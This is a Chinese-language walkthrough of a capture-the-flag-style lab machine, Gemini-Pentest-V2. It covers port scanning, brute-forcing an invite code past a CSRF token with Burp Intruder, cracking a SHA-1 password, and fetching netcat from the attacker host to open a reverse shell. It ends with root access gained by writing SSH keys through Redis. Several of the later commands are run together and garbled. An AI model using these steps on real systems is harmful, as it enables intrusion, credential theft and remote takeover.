靶机实战系列之Gemini-Pentest-V2靶机

1.1 主机发现

1.2 端口扫描

nmap -p22,80 -sC -sV 192.168.112.133

dirb  http://192.168.112.133   -r   -X  .php

http://192.168.112.133/registration.php

1.4 验证码爆破(csrf)

发现

http://192.168.112.133/activate.php

通过邀请码进行权限放行故爆破验证码  

在其页面源码内发现存在token故用到爆破token方法

操作方法如下

1. 选择Pitchfork模式

2. 点击clear

3. 添加参数

4.添加邀请码参数字典

5. 添加token参数字典

点击Options中的Grep-Extract添加add

点击Refetch response选中token值

修改Options中的Error Handilng值为0

选择Resource Pool模块添加线程最大次数为1

选择参数2 Recursive grep 

6. 开始攻击

爆破成功邀请码为000511

1.5 密码破解

经过破解邀请码后界面功能正常

http://192.168.112.133/profile.php?u=16

经信息搜集后发现存在用户列表

http://192.168.112.133/profile.php?u=1

 该页面检查页面源代码时存在加密密码

edbd1887e772e13c251f688a5f10c1ffbb67960d //SHA-1 加密

参考https://md5.cn/该网站

解密密码为secretpassword

http://192.168.112.133/new-groups.php

wget http://192.168.112.128/nc -O /tmp/nc

chmod 777 /tmp/nc

/tmp/nc 192.168.112.128 4444 -e /bin/bash

python  -c "import pty;pty.spawn('/bin/bash')"

ss -pantu

cd /etc/redislscat 6379.conf | grep pass查到 redis 密码  8a7b86a2cd89d96dfcc125ebcc0535e6

redis-cli -a 8a7b86a2cd89d96dfcc125ebcc0535e6

cd /home/gemini1/.ssh/tmp/nc  -nvlp 4444 > ./authorized_keys

ssh-keygen  -t rsanc  192.168.112.133 4444 < id_rsa.pub  -w  1   //把 id_rsa.pub 传输过去

ssh gemini1@192.168.112.133   //成功登录

cd /home/gemini1/.sshcat  pub.txt | redis-cli -a 8a7b86a2cd89d96dfcc125ebcc0535e6  -x set  ssh_keyredis-cli -a 8a7b86a2cd89d96dfcc125ebcc0535e6CONFIG set  dir /root/.sshconfig  set dbfilename "authorized_keys"save